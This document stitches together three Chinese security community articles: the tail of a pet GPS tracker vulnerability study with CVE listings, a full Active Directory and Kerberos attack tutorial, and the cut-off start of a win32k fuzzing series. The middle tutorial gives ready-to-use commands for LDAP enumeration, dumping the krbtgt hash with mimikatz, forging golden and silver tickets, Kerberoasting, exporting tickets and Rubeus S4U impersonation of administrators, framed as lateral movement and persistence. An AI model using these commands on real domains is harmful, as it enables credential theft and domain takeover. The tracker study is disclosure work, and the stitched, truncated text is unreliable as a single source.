我们感兴趣的第二点是它的服务的可用性、Characteristics和(descriptors)描述符。它们构成了BLE规范中设备之间数据传输的基础。正如我们所指出的，BLE服务于非对等设备，其中一个（连接的设备）通常是智能手机，而在以下这个例子中，另一个设备是一个跟踪器。两个设备连接以后，智能手机可以使用多种BLE服务，每一个服务可能都包含一个带有descriptors的Characteristics，而Characteristics和descriptors都可以用于数据传输。
因此，在BLE的情况下，在Characteristics和descriptors被用于读写之前进行身份预认证就成为了保障设备安全的有效方法。此外，如果身份预认证未通过，在连接后不久,中断连接也是一种很好的安全措施。在这种情况下，身份认证应基于一些攻击者无法接触到的加密方法——例如，数据的第一部分可以使用服务器端（而不是应用程序端）的特定密钥进行加密。或者通过例如内置的SIM卡这种附加的通讯渠道，来确认所连接设备的传输数据和MAC地址。
## Kippy Vita
Kippy
Vita追踪器通过其内置的SIM卡将GPS坐标传输到服务器，来将宠物的位置显示在移动应用程序中。跟踪器不会与智能手机“直接”连接。我们无法检测到设备本身是否出现任何问题，所以我们将关注点转向到了移动应用程序中。
如下图所示，与我们测试的任何其他应用程序不同，一切看起来都很不错：SSL
Pinning已成功执行。另外，Android应用程序在将重要数据保存到自己的文件夹之前对其进行了加密。
我们检测到的唯一问题是Android应用程序传输到服务器的日志数据。这些数据可能包括用户的密码、登录信息，以及授权接口。
_Kippy Vita应用程序带有用户登录和密码的输出_
尽管并非所有的应用程序都可以读取日志（只有系统应用程序或具有超级用户权限的应用程序），但它仍然是一个关键的安全问题。
**Registered CVE** ：CVE-2018-9916
### Link AKC
Link
AKC追踪器通过GPS监测宠物的位置，并通过内置的SIM卡传输其位置坐标。更重要的是，它可以直接通过BLE与所有者的手机进行连接，这意味着它始终准备好连接设备，这是一个不错的研究起点。
Link AKC令我们惊喜不已：开发者在保障智能手机的连接方面做了所有正确措施，所以我们没找到任何关键问题，这对于支持BLE的设备来说并不常见。
在智能手机连接设备到发现服务后，它应该在两个Characteristics和一个descriptors（用于通知跟踪器预期的更改）中启用通知（否则跟踪器断开链接）。之后，Link
AKC准备好接收命令。它们应该包含了用户ID；如果用户没有使用跟踪器的权限，则不执行该命令。这种做法保证了用户对访问权的控制。即使使用从测试设备获得的ID，我们也无法让追踪器执行另一个智能手机发出的命令——看来跟踪器检查了智能手机的MAC地址。
但是，这个设备不能被定义为完全安全。在Android应用中，我们发现开发者忘记了禁用日志记录。因此，该应用程序将大量数据传输到logcat，其中包括：
* 该应用程序授权接口，如果截获则可将其用于登录服务并找出宠物的位置：
* 用户注册数据，包括姓名和电子邮件地址：
* 设备坐标：
从Android
4.1开始，只有一些具有超级用户权限的系统应用或应用程序可以读取其他程序的日志。将智能手机连接到计算机时也可以获得访问权限，但这需要启动Android开发者模式。
尽管存在这些限制，但仍然存会出现问题：即使几率很小，攻击者也可能获取数据以访问受害者的帐户。
更重要的是，Android应用程序不会验证服务器的HTTPS证书，从而将其暴露而遭受中间人（MITM）攻击。对于成功的攻击，攻击者只需要在智能手机上安装他们自己的证书（[这非常简单](https://securelist.com/dangerous-liaisons/82803/)），允许他们拦截所有传输的数据，包括用于帐户访问的密码和接口：
_Android的Link AKC应用程序易受MITM攻击_
授权接口也以未加密的形式存储在应用程序文件夹中，虽然需要超级用户权限来访问它，但它仍然不是存储重要数据的最佳位置。
_验证接口以未加密的形式存储_
**RegisteredCVE** ：CVE-2018-7041
### Nuzzle
就功能而言，Nuzzle和之前的追踪器一样：也是使用SIM卡传输宠物的GPS坐标，并可以通过BLE直接连接到智能手机。但就直接连接而言，Nuzzle的表现不如Link
AKC：缺乏授权和访问控制意味着该设备可以连接任何智能手机。这让攻击者可以像设备所有者一样控制设备。例如，通过它可以打开灯泡（只有一个属性的值需要更改）来快速耗电。
一旦建立连接，攻击者就可以从设备接收数据。数据有两个Characteristics：一个包含遥测信息，包括设备的位置，另一个提供设备的状态信息（特别是温度和电池电量）。
更糟糕的是，连续读取遥测特性的数据会导致设备“被丢失”：为了节省电池电量，如果设备的数据信息已经通过BLE发送，则不会通过移动网络传输坐标。因此，仅通过使用智能手机连接到跟踪器就可以隐藏宠物的位置。
我们在更新设备固件的过程中发现了另一个安全漏洞。发现完整性控制很容易绕过。基本上这个固件由两个扩展名为DAT和BIN的文件组成。第一个包含有关固件的信息，包括完整性控制中使用的校验和（[CRC16](https://en.wikipedia.org/wiki/Cyclic_redundancy_check)），第二个包含固件本身。只需更改DAT文件中的校验和就可以在跟踪器上安装篡改后的软件。
_在Nuzzle固件中的AT命令_
为了使设备瘫痪，我们甚至不需要分析固件，因为它并没有加密或者打包，所以我们只需要在十六进制编辑器中打开它，我们就可以找到[AT命令](https://en.wikipedia.org/wiki/Hayes_command_set)和用于发送数据的主机和SIM卡。在主机中更改了几个字节后，更新了固件校验和，并将其上传到设备，就可以使跟踪器停止工作。
与Link AKC的情况一样，Android的Nuzzle应用程序不检查服务器证书，而且授权接口和用户电子邮件地址以未加密的形式存储在应用程序文件夹中。
_未加密的授权令牌和用户电子邮件地址_
**Registered CVE** ： CVE-2018-7043 CVE-2018-7042 CVE-2018-7045 CVE-2018-7044
### TrackR
这次研究中使用了两个TrackR设备：Bravo和Pixel。这些“小玩意儿”不同于以前的设备，因为它们的追踪范围限制在100米以内（如果它们的目的是追踪宠物的话），与其他模型不同，它们没有GPS模块或SIM卡，唯一的连接是通过BLE。他们主要被用来定位公寓周围的钥匙或者遥控器等。但是，开发者已经为这些设备配备了一个可选项，可以让他们跟踪某些物品的移动轨迹：跟踪器的位置可以通过其他带TrackR应用的用户智能手机进行传输。如果应用程序在智能手机上运行，它会将附近检测到的所有“小玩意儿”的数据和智能手机坐标一起传输到服务上。这其中存在的第一个缺陷：任何人都可以登录到移动应用程序并发送一个假坐标。
我们试图找出更多的问题，但事实证明，其中大部分问题已经被[Rapid7](https://blog.rapid7.com/2016/10/25/multiple-bluetooth-low-energy-ble-tracker-vulnerabilities/)的同事发现。虽然他们的研究是在一年多前发布的，但在撰写本文时，一些漏洞仍未修复。
因为这些设备在通过BLE连接时没有进行身份验证，所以它们也可对入侵者开放。例如，攻击者只需更改一个Characteristics的值即可轻松地连接和打开音频信号。这可以让攻击者在其拥有者执行或损坏跟踪器电池之前找到该宠物。
_TrackR服务和属性结构_
此外，Android上的TrackR应用程序不验证服务器证书，这意味着MITM攻击可能窃听密码，授权接口，用户电子邮件地址和设备坐标。
_TrackR Android应用程序请求包含授权接口_
好的一面是，TrackR不会将授权接口或密码存储在其自己的文件夹中，这是防护使用超级用户权限窃取数据的木马的有效方法。
**Registered CVE** : CVE-2018-7040 CVE-2016-6541
### Tractive
与我们研究的大多数设备不同，Tractive跟踪器不通过自己的服务器直接与智能手机进行通信，这种方法足够安全，但我们在Android应用程序中仍检测到了一些小问题。首先，与其他情况一样，它不验证可用于MITM攻击的服务器证书。更重要的是，应用程序以未加密的形式存储授权接口：
以及宠物的移动数据：
### Weenect WE301
这是另一个不直接与所有者的智能手机进行连接的跟踪器，它通过内置的SIM卡将宠物坐标传输到服务器。我们没有发现此跟踪器的任何安全问题，但在Android版本的应用程序中检测到类似于Tractive中的问题。
首先，它不防护MITM攻击，允许攻击者访问用户帐户或拦截地理信息。其次，身份验证数据以未加密的形式存储在应用程序文件夹中，这会将其暴露给设备上具有超级用户权限的木马。
### Whistle 3
这是该研究中技术上最有意思的追踪者之一。它可以通过其内置的SIM或者Wi-Fi将GPS坐标传输到服务器（如果设备拥有者提供Wi-Fi网络密码），或者通过BLE直接传输到所有者的智能手机。
我们首先查看了Wi-Fi，并发现开发者已经注意到了连接的安全性：设备通过HTTPS传输小部分数据（即以加密形式）。
_Wi-Fi数据传输使用HTTPS进行保护_
接下来，我们检查了BLE连接并在其中发现了很多安全问题。首先是缺乏适当的身份验证。连接之后，设备等待执行一系列的动作（可以被描述为身份预认证），但这一系列的动作非常简单，第三方可以很容易地复制它。复制过程所需要的只是连接到设备；将两个Characteristics传输到WRITE_TYPE_NO_RESPONSE模式；请求更改传输数据（MTU）的大小；打开一个Characteristics的通知，并将某个数字传输到另一个Characteristics。
现在，跟踪器已准备好接收和执行不带有用户ID的命令，这意味着任何人都可以发送它们。例如，可以发送一个initiateSession命令，并且作为响应，该设备将发送未加密的一组数据，包括设备坐标。更重要的是，如果连续发送此命令，小工具将不会通过SIM卡发送位置数据，因为它会假定这些数据已通过BLE被“直接”接收到。因此，可以将跟踪器对其所有者隐藏起来。
还有一个问题：跟踪器在没有任何身份验证的情况下将数据传输到服务器。这意味着任何人都可以替代它，并改变其中的坐标。
_该应用程序通过BLE传输从追踪器接收到的数据_
Android上的Whistle 3应用程序使用HTTPS协议（这很好），但不验证服务器证书。
_MITM攻击可以拦截用户数据_
不仅如此，Whistle
3将用户数据以未加密的形式存储在自己的文件夹中，可通过具有超级用户权限的特洛伊木马将其泄露给盗用者。只有带身份验证的数据存储方法安全。
_跟踪器从应用数据库中调整坐标_
请注意，Whistle
3将数据写入logcat。如上所述，尽管某些具有超级用户权限的系统程序或应用程序才能读取其他应用程序的日志，但也无需将重要数据写入日志中。
_Android应用程序可以记录用户和宠物数据（活动，电子邮件地址，姓名，所有者的电话号码）以及一个被使用的接口_
**Registered CVE** : CVE-2018-8760 CVE-2018-8757 CVE-2018-8759 CVE-2018-9917
## 结论
GPS追踪器早已在很多领域得到成功应用，但使用追踪器追踪宠物的位置远远超出了传统的应用范围，因此需要升级新的“用户通信接口”和“训练”才能工作和提供云服务等。如果安全措施得不到妥善解决，用户数据可被入侵者访问，这将危害到用户和宠物。
研究结果：四个追踪器使用BLE技术与所有者的智能手机进行通信，但只有一个安全。其余的追踪器可以接收并执行任何人的命令。此外，只需要靠近跟踪器。就可以将它们禁用或隐藏
这次测试中只有一个的Android应用程序会验证其服务器的证书，而不是仅仅依赖系统。因此，他们很容易受到MITM攻击——入侵者可以通过“说服”受害者安装证书来拦截传输的数据。 | 社区文章 |
## 前言
域方面的安全，回归到本质，大多情况下就是Kerberos协议的安全，只有深入掌握Kerberos，才可以站在不同的角度去进行TTP，抓住对方薄弱之处。
## About Active Directory
> Active Directory:是微软Windows Server中，负责网络游戏架构中大型网络环境的集中式目录管理Service（Directory
> Services），在Windows 2000 Server开始内置于Windows Server产品中，主要用于域网络中。
* 在AD里面，一切皆对象，比如：计算机，用户，用户组，相关策略等
* 有AD域Service，即Active Directory Domain Services
* 依赖不同的协议进行用户认证，资源查找，管理，访问控制等等
* 提供各种Service
### Active Directory的实体结构
#### DNS
活动目录极度依赖DNS，因为DNS可以让AD表现出层次结构化的树状结构，同时也可以和开放的目录标准接轨，因此在搭建域时时，DNSService（或另有架设DNS
Server）一定要存在于网络或该网域控制站中，不单单是资源查找需要DNS，客户端请求DC时同样需要它，通过SRV记录识别。
#### LDAP
Lightweight Directory Access
Protocol：轻量级目录访问协议，是一个开放的，中立的，工业标准的应用协议，通过IP协议提供访问控制和维护分布式信息的目录信息。
有时我们拿到的server可能就是LDAPService器，里面可能有很多我们目标的信息，下面会详细介绍。
#### Kerberos
>
> Kerberos是一种计算机网络认证协议，它允许某实体在非安全网络环境下通信，向另一个实体以一种安全的方式证明自己的身份。它也指由麻省理工实现此协议，并发布的一套免费软件。它的设计主要针对客户-> Service器模型，并提供了一系列交互认证——用户和Service器都能验证对方的身份。Kerberos协议可以保护网络实体免受窃听和重复攻击。
>
> Kerberos协议基于对称密码学，并需要一个值得信赖的第三方。Kerberos协议的扩展可以为认证的某些阶段提供公钥密码学支持。
#### NetBIOS
Network Basic Input/Output
System，它提供了OSI模型中的会话层Service，让在不同计算机上运行的不同程序，可以在局域网中，互相连线，以及分享数据，相当于一个API
#### MS-RPC
Microsoft RPC：远程调用，可以更加快速的构造出客户端/Service端模型，像Windows Server的域协议完全是基于MS-RPC，以及DNS管理工具和Microsoft Exchange Server。
#### NTLM认证
NTLM是NT LAN Manager的缩写，即NT LAN管理器,NTLM 是 Windows NT 早期版本的标准安全协议。
### AD协议的应用
#### DNS
• dig
dig evilwing.me
• nslookup
nslookup evilwing.me
#### MS-RPC
* Samba
Samba，是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS（Server Message Block/Common
Internet File System）网络协议做链接的自由软件。
* 强大的Impacket网络工具包
* smbserver.py
#### LDAP
* openLDAP
OpenLDAP 是 LDAP 协议的一个开源实现。LDAP Service器本质上是一个为只读访问而优化的非关系型数据库。它主要用做地址簿查询（如
email 客户端）或对各种Service访问做后台认证以及用户数据权限管控。（例如，访问 Samba 时，LDAP 可以起到域控制器的作用；或者
Linux 系统认证时代替/etc/passwd的作用。）
* ldapsearch
#### Kerberos
* Kerberos由麻省理工学院创建，作为解决这些网络安全问题的解决方案。
### 通过DNS去发现AD
[腾讯云文档相关介绍](https://cloud.tencent.com/document/product/302/12647)
[SRV记录](https://skyao.io/learning-dns/dns/record/srv.html)
SRV记录是Service器资源记录的缩写，记录Service器提供的Service，SRV记录的作用是说明一个Service器能够提供什么样的Service。
* _gc._tcp – 全局目录
* _ldap._tcp – ldap Service器
* _kerberos._tcp – KDC
* _kpasswd._tcp – Kerberos 密码变更Service
nmap查询：
nmap -Pn --script dns-srv-enum --script-args "dns-srv-enum.domain='pentestlab.com'"
tips：加一个DNS，为DC的IP，这样就可以在MAC本机上查询出来。
端口扫描：
发现53端口和389端口同时开启就有可能是DC。
定位域控的话，其他熟悉的方法有：
* net time /domain
* nslookup
* nltest /dclist:domainname
* and so on
### MS-RPC
#### MSRPC通信过程
net user /domain
wireshark抓包分析
首先向DC请求SMB连接，然后请求$IPC共享
建立SMBR文件，bind SAMR。
最后执行用户列表请求
### 基于MS-RPC实现的Tools
个人觉得Kali下面，啊D最好用，不对，Impacket最好用。
* <https://github.com/CoreSecurity>
/impacket
工具方面我就不过多介绍，大家都知道怎么用，它是一把windows网络中瑞士军刀。
提权以后，下一步可能就会进行横向渗透
* DCOM
* Psexec
* WMIC
* Wmiexec
* Smbexec
* Powershell remoting
* AT
以上手法都是基于MS-RPC协议。
## LDAP
* LDAP是AD中的轻量级的目录访问控制协议
* DC中一般会开放三个端口
* 389-LDAP
* 636-LDAPS
* LDAP全局目录
LDAP 数据的组织方式：
* CN：Common name
* DC：域的组成
* OU：组织单元
例如
通过ldap和我们在目标上收集的凭据我们可以进行ldap查询。
这里推荐使用ldapsearch。
使用方法：<https://blog.51cto.com/koala003/1663662>
查询所有的用户
ldapsearch -LLL -x -H ldap://pentestlab.com -D "[email protected]" -w "小Wing最棒" -b dc=pentestlab,dc=com "(objectClass=user)" sAMAccountName userPrincipalName memberOf | tee domain_users.lst
域内的计算机
ldapsearch -LLL -x -H ldap://pentestlab.com -D "[email protected]" -w "小Wing最棒" -b dc=pentestlab,dc=com "(objectClass=computer)"
想要可视化？
Ldap Admin Tool
连接的对象可以像我们前面使用ldapsearh那样进行过滤。
Windows下有ldapadministrator
LDAP的信息枚举可以作为横向渗透前的一个重要步骤。
## Kerberos
### Kerberos认证过程
记得上学期期末考试考到过这个，当时刚好看了倾旋老哥的文章，所以还是挂了。
Kerberos除了代表是网络授权协议之外，也代表麻省理工学院为这个协议开发的一套计算机软件。
Kerberos在古希腊神话中被叫做赛伯拉斯，是负责看守冥界入口的恶犬，即地狱犬，在现代的艺术品中，将它描绘成三个头的。
所以可以形象的表示客户端，KDC，Service端。
前置知识：
* AS（Authentication Server）= 认证Service器
* KDC（Key Distribution Center）= 密钥分发中心
* TGT（Ticket Granting Ticket）= 票据授权票据，票据的票据
* TGS（Ticket Granting Server）= 票据授权Service器
* SS（Service Server）= 特定Service提供端
在域内，小Wing想要去访问另一台计算机小花，它需要经历：
* 需要先拿到`入场券`，所以向KDC请求TGT，KDC的AS会根据由你的用户名密码生成的一个加密密钥产生一个随机值，这个密钥就是入场券。
* 然后我把我的TGT给TGS，跟他说，给我一个可以访问Service的Ticket，TGS验证后，证明我没骗他，随即返回Service Ticket。
* 拿到的Service Ticket一般是有有效期的，过期后又要重新申请
* 然后拿着这个去访问Service，这里的Service有权限大小之分。
* 成功和小花建立连接
辛苦画的一张简陋版的图
然后我发现喵的维基百科有一张比我的好看的
我想在后面通过回顾古老的一个洞来较详细的介绍kerberos
然后看一下流量包，更直观一些。
dir \\Pentestlabwin7.pentestlab.com\C$
wireshark
过程如图
klist查看我们暂时拿到的缓存凭据
这是windows下的kerberos，其实linux下也同样支持。
apt-get install heimdal-clients
先安装客户端
配置KDC，以及SRV
/etc/krb5.conf
配置DNS
然后先请求TGT
这里建议配两个网卡，保证域的通信没问题。
kinit wing
klist
ubuntu的官方文档有指明没定义的情况下会将TGT换存在tmp目录
现在有了缓存，可以借助这个去做很多事情。
impacket：
在知道密码或hash的情况下可以使用smbclient.py去连接，今天看到n1nty师傅的文章将就尝试了一下。
想要使用kali本身的工具，需要将票据导入
export KRB5CCNAME=/tmp/krb5_xxx
一开始用kinit生成TGT好像有问题。
所以我最终使用getTGT来实现，最后导入。
通过rrclient这个远程rpc工具实现连接。
类似的还有smbclient
psexec.py：使用RemComSvc的PSEXEC类似功能
7KB师傅说你得弹个计算器，我觉得还是弹powershell比较直接。
再配合自动化的CNA脚本横向渗透。
impacket-wmiexec.py
像crackmapexec这样的工具，是基于hash认证的，但是在NTLM认证被关闭的条件下，可以尝试通过上述的Kerberos方法去执行CMD。
因为我们有目标密码，所以可以请求TGT，但是密码改了怎么办，怎么持久化？
后面的部分会继续讲解。
### 经典回顾-MS14-068
### 漏洞概述
回到一开始的Kerberos
SServer-Client：数据在Client和Server之间传送时，数据包肯定得加密，加密的key有一个先决条件就是时间要短，防止被截获破解，只能在Client和Server只中的一个中有效，将其称之为SessionKey（SServer-Client）。
Master
Key：虽然DC很niupi，但是用户的密码还是希望只有用户自己知道，所以认证过程中用户的密码要经过hash加密，加密后的code称之为Master
Key。
SKDC-Client：KDC和Client的Session Key（SKDC-Client）
KDC是作为神父级别的见证人，小Wing想要去访问小花的Server，需要向KDC申请一个SessionKey，但是SessionKey是经过小Wing和小花的密码分别加密，不容易被盗取。
* Wing这边发出的是KRB_AS_REQ请求，提供的是经过Wing的密码加密的一个TimeStamp，应该叫做Authenticator ，理解为一个时间戳加用户的一些信息以及TGS的servername，这个请求里密码和密钥都不会发给AS。
* KDC的AS用数据库查找Wing这个用户是否在我的数据库里面。在，那么用用户密码的副本去解密，成功之后，AS返回一个Authentication Service Response，即KRB_AS_REP，其中包含了：
* Session Key
* Client name & realm: Domain name\Client
* End time: TGT到期的时间，一般是8小时
* Wing这里收到响应后，用自己的Master Key对第一部分进行解密，获得SessionKey
* 下一步就是和TGS打交道了
* Wing向TGS（Ticket Granting Service）发送一个Ticket Granting Service Request（KRB_TGS_REQ），包含：
* TGT：TGT被KDC的Master Key进行加密。
* Authenticator：为了证明TGT的拥有者是否就是自己，它用TGT的办法方和自己的Session Key来进行加密，看是否吻合，TGS本身没有去保存SessionKey，所以就用自己的MaterKey去解密，从而获得Logon Session Key（SKDC-Client），再通过这个Logon Session Key（SKDC-Client）解密Authenticator进行验证。
* Client name & realm
* Server name & realm：就是小花
* REQ OK之后，向Wing返回Ticket Granting Service Response（KRB_TGS_REP），包含：
* Session Key：SServer-Client。
* Client name & realm:
* End time: Ticket的到期时间。
* Wing收到KRB_TGS_REP，使用KDC和Client的Session Key（SKDC-Client）去解密第一部分得到SessionKey，因为Session只能在单点使用哦。
* 有了SessionKey和Ticket，我们就可以直接去勾搭小花，呸，约小花。
**那么Wing和小花之间的认证又是如何呢？**
* Wing用Session Key（SServer-Client）加密过的Authenticator和Ticket作为Application Service Request（KRB_AP_REQ）发送给小花。
* 小花接收到KRB_AP_REQ之后，通过自己的Master Key解密Ticket，从而获得Session Key（SServer-Client）。再通过Session Key（SServer-Client）去解密Authenticator，验证对方的身份。假设验证成功，就让Wing进屋，否则直接拒之门外。
* 所以没有小车车（hash）和小房子（hash），小姐姐是会拒绝的。
**故事的后续：**
就算你有小车车，我怎么知道你是不是我认识的那个Wing呢。
这么说有点懵13.
A去访问B的时候，验证完成了，我知道你是A，但是你就能访问我的全部资源了嘛？
而且Kerberos协议也没有讲这个问题，所以微软爸爸加了PAC机制，即Privilege
Attribute Certificate，特权属性证书。
具体来说就是要确定域内用户的权限，这里解决的方法就是根据user的SID和group的SID来判断。
KDC可以告诉B，A的权限是有限制的，只可以访问某些资源，通过KRB_AS_REP来指明，里面有加上PAC的说明。
MS14-068这个洞原理比较长，长话短说：
* 主要是由于第一步的AS-REQ请求并没有对签名做指定要求，客户端用啥我用啥。
* KRB_TGS_REQ返回的信息当中又没有PAC，所以客户端当然可以伪造出PAC
* 然后神奇的KDC竟然允许这个PAC，而且使用指定的算法进行解密。
* TGS返回带有PAC的Ticket返回客户端这里，此时这张票据是具有高权限的。
* 更多细节可以通过抓包和源码去分析
### 漏洞复现
linux下：
mv [email protected] /tmp/krb5cc_0
配合smbclient执行命令
windows下：
mimikatz.exe "kerberos::purge"
mimikatz.exe "kerberos::ptc [email protected] " exit
### Golden Ticket
Golden Ticket就是黄金票据，其实就是一个攻击者自己伪造的TGT，通过TGS对自己的Golden
Ticket的信任，攻击者就可以去访问Service， I Am Omnipotent！
需要的条件：
* Domain SID
* Domain name
* 需要krbtgt用户的hash
* 用户名随意
#### Example
通过Mimikatz dump hash
lsadump::dcsync /user:krbtgt
生成Golden Ticket
导入内存：
黄金票据可以很好的隐藏自己，是一种持久化的方式。
n1nty的公众号昨天发了一篇文章，就是有关于黄金票据的。
title：内网安全运营：你真的锁定了你的帐号了吗？
为什么我将他锁定了他还能进行其他动作？
* Kerberos的认证过程前面也说清楚了，只认Ticket，而我们可以根据自己的密码去得到一张Server Ticket。
* 管理员也无法注销Ticket，只能让他过期，默认是20分钟。
* 对于TGT，20分钟后账户如果被锁定，KDC就不会给你Ticket
* 对于ST，我已经不需要KDC了，只需要拿着这个ST去访问Service即可。
* ST会在10小时过期
* 所以在安全排查的时候需要注意是不是已经被持久控住了。
### Silver Tickets
Silver Tickets是银票，在介绍Golden Ticket时，末尾的彩蛋就是一个Silver Tickets----伪造的ST。银票只能访问指定Service，我不觉得这是一个缺点，反而觉得是一个优点，正如前文，根本不好排查，我没和KDC通信，日志那里查不到。
银票的生成也很简单，不需要krbtgt的密码，但需要目标Service账户的hash。
mimikatz "kerberos::golden /domain:pentestlab.com /sid:xx-xxx-xxx-xx /target:servername /Service:Service类型 /rc4:hash /user:wing /ptt" exit
### Crack
#### SPN
SPN全称是ServicePrincipal Names，Service主体名称。
在域里面我们希望域内的Service经过kerberos验证。
spn让每一个Service与对应的Service账号相关联起来。
其次就是SPN扫描比较隐蔽，不用去连接每一个IP的端口来判断Service，而是通过ldap进行查询，这本身就是一个正常的操作，日志里面去分析比较头疼。
需要先手动注册
#### SPN扫描
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
阅读源码
如前所说，通过LDAP进行查询。
#### Crack TGS Tickets
SPN扫描完成以后，请求TGT
查看本地的TGT
导出使用tgsrepcrack离线破解
也可以用
GetUserSPNs.py -request -outputfile hash.txt -dc-ip 10.10.0.2 Pentestlab.com/wing
得到hash，使用hashcat破解。
### Kerberos委派攻击
#### What is Delegation？
正常情况下我想要去访问IISService，与此同时，可能还需要IISService去请求数据库Service，查询相关信息，但是IISService这里它不清楚Wing这个用户有没有权限去访问SqlServer，这时候就需要向DC去验证。
Wing先去访问IIS server，IISserver去跟KDC申请Ticket，KDC这时候检查IIS
Server是否有委派属性，如果存在，那么就返回给Wing这个用户的TGT，IIS Server收到后，跟TGS
申请ST，IIS Server就可以拿ST去访问对应的Service。
#### 非约束委派（Unconstraineddelegation）
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a>
图比较直观，用户从KDC拿到对应的TGT之后，发送给Service1，请求了两次TGT，Service1请求了一次ST，也就是1-6步。
然后Service1用用户的TGT2去请求ST2，也就是对应的Service2的ST,。
Service1可以一直重复的去访问其他Service。
这个过程称为 非约束委派，Unconstraineddelegation。
#### 非约束委派安全测试
通过PowerView查询域中配置非约束委派的主机和用户：
Get-NetComputer -Unconstrained
Get-NetUser -Unconstrained
然后在MSSQL这台机器上去导出通信时产生的TGT，会存在内存里。
privilege::debug
sekurlsa::tickets /export
这个就是域控的TGT。
直接进行ptt攻击
GetDC
#### 约束委派（Constrained delegation）
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a>
微软为了增强安全性，防止不安全的委派发生，限制Service1代表Wing去访问Service。
并且加入了S4U2Self和S4U2Proxy协议扩展。
* S4U2Self：Service for User to Self
* S4U2Proxy：Service forUser to Proxy
* 用户向Service1发出一个请求，用户已经经过了身份验证但Service1拿不到用户的TGT。
* 文档说的是在这个步骤之前，Service1就向KDC申请到了拿到了TGT，并通过 S4U2self 扩展请求ST。
* KDC返回ST，这一步Service1就代表用户拿到TGS和ST，虽然S4U2self向Service1提供有关用户的信息，但此扩展不允许Service1代表用户请求其他Service。这就是S4U2proxy的作用。
* 响应给用户
* 用户再次请求，用户向Service1发出请求。Service1需要以用户身份访问Service2上的资源。但是，Service1没有来自用户的转发TGT以通过转发的TGT执行委派，如图中所述，需要指定具有转发的TGT的Kerberos委派。具有这两个前提条件，才可以进行此步骤。首先，Service1已经通过KDC验证并具有有效的TGT。其次，Service1具有从用户到Service1的可转发ST。该可转发ST可能是通过KRB_AP_REQ消息获得的，如[RFC4120]第3.2节或S4U2self请求中规定的。
* Service1代表指定用户向Service2请求Service票证。用户由Service1的Service票证中的客户端名称和客户端域专属标识。要返回的票证中的授权数据也将从Service票证中复制。
* 如果请求中有特权属性证书（PAC），则KDC通过检查PAC结构的签名数据来验证PAC，参阅[MS-PAC]第2.8节。如果PAC有效或不存在，KDC将返回Service2的ST，但存储在ST的cname和crealm字段中的客户端专属标识是用户的，而不是Service1的。
* Service1使用ST向Service2发出请求。Service2将此请求视为来自用户，并假定用户已经由KDC进行身份验证。
* Service2响应请求。
* Service1响应用户对消息5的请求。
简单来说呢：
* S4U2proxy扩展的作用是不允许Service1代表用户请求其他Service
* S4U2Self扩展的作用是检查用户的合法性
#### 约束委派安全测试
用PowerView查询域内开启约束委派的用户
Get-DomainUser –TrustedToAuth
* 使用Rebeus拿到TGT：Rebeus是kekeo的后续版本，羡慕一次编译通过的师傅。
Rubeus.exe asktgt /user:mssql /password:Pentestlab@1314
或者直接一步请求
C:\Users\flowing\Desktop\Wing>Rubeus.exe s4u /impersonateuser:redteam /user:
F046 /domain:pentestlab.com /msdsspn:cifs/mssql.pentestlab.com /ptt
ptt的意思是直接导入内存，不需要管理员权限。
C:\Users\flowing\Desktop\Wing\>Rubeus.exe s4u /user:wing /rc4:xxxxxxxx /impersonateuser:administrator/msdsspn:cifs/mssql.pentestlab.com /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Action: Ask TGT
...
...
...
[*] Action: Import Ticket
[+] Ticket successfully imported!
这里的伪造的用户名必须是域内已经有的，比如adminstrator。
所以这里本机的这个用户是伪造成其他用户去从获取TGS。
验证：
实际场景当中，可以结合ntlmrelay去进行。
其他像哈希传递的技术使用cobaltstrike批量即可。
## 结语
关于Kerberos的技术，还有很多有趣的技巧，建议关注域安全专家harmj0y。
## 参考来源
<https://xz.aliyun.com/t/2931#toc-2>
<https://www.anquanke.com/post/id/92484#h2-0>
[https://mp.weixin.qq.com/s?timestamp=1554396291&src=3&ver=1&signature=QJM6fShq296Yt2GmGNTdSeU*kJNrPEmgb0ce9ap3vCD9NC4W-GL2Fx3IxdiC689-CvAADbGrbL1f7deYwEDLQKxvi8WFUhA7OsPAI52IFV7yi*ld*WABk2U*shXEbZu4nJd-MpmuV9GrheIf9WHdKtrPYZm1VJ5iWy6aAyom*Yc=](https://mp.weixin.qq.com/s?timestamp=1554396291&src=3&ver=1&signature=QJM6fShq296Yt2GmGNTdSeU*kJNrPEmgb0ce9ap3vCD9NC4W-GL2Fx3IxdiC689-CvAADbGrbL1f7deYwEDLQKxvi8WFUhA7OsPAI52IFV7yi*ld*WABk2U*shXEbZu4nJd-MpmuV9GrheIf9WHdKtrPYZm1VJ5iWy6aAyom*Yc=)
<https://github.com/nidem/kerberoast>
<https://www.petri.com/understanding-kerberos-delegation-in-windows-server-active-directory>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962>
<https://blog.csdn.net/wulantian/article/details/42418231>
<https://github.com/nidem/kerberoast>
<https://segmentfault.com/a/1190000014683418>
<https://www.extrahop.com/resources/protocols/msrpc/>
<https://docs.microsoft.com/en-us/windows/desktop/com/microsoft-rpc>
<https://docs.microsoft.com/en-us/windows/desktop/rpc/how-rpc-works>
<https://www.cnblogs.com/cnjavahome/p/9029665.htmllanguage```language>
<https://medium.com/@robert.broeckelmann/kerberos-wireshark-captures-a-windows-login-example-151fabf3375a>
<https://help.ubuntu.com/lts/serverguide/kerberos.html.en>
<https://imaidata.github.io/blog/kerberos_client/>
<https://www.chbeta.com/2018/06/17/212.html> | 社区文章 |
## 前言
Hi, 这是`a case of cve study` 的第一部分. 做这个系列的起因源于自己想搭建一个`win32k`的`fuzzer`.
于是我阅读了`mwrlab`的这篇[博客(what the
fuzz)](https://labs.mwrinfosecurity.com/blog/what-the-fuzz/).
了解了一个`fuzzer`大概应该长什么样子. 之后,
又在`github`上面看到了[n3k](https://twitter.com/kiqueNissim)师傅[针对NDIS的fuzzer](https://github.com/IOActive/FuzzNDIS),
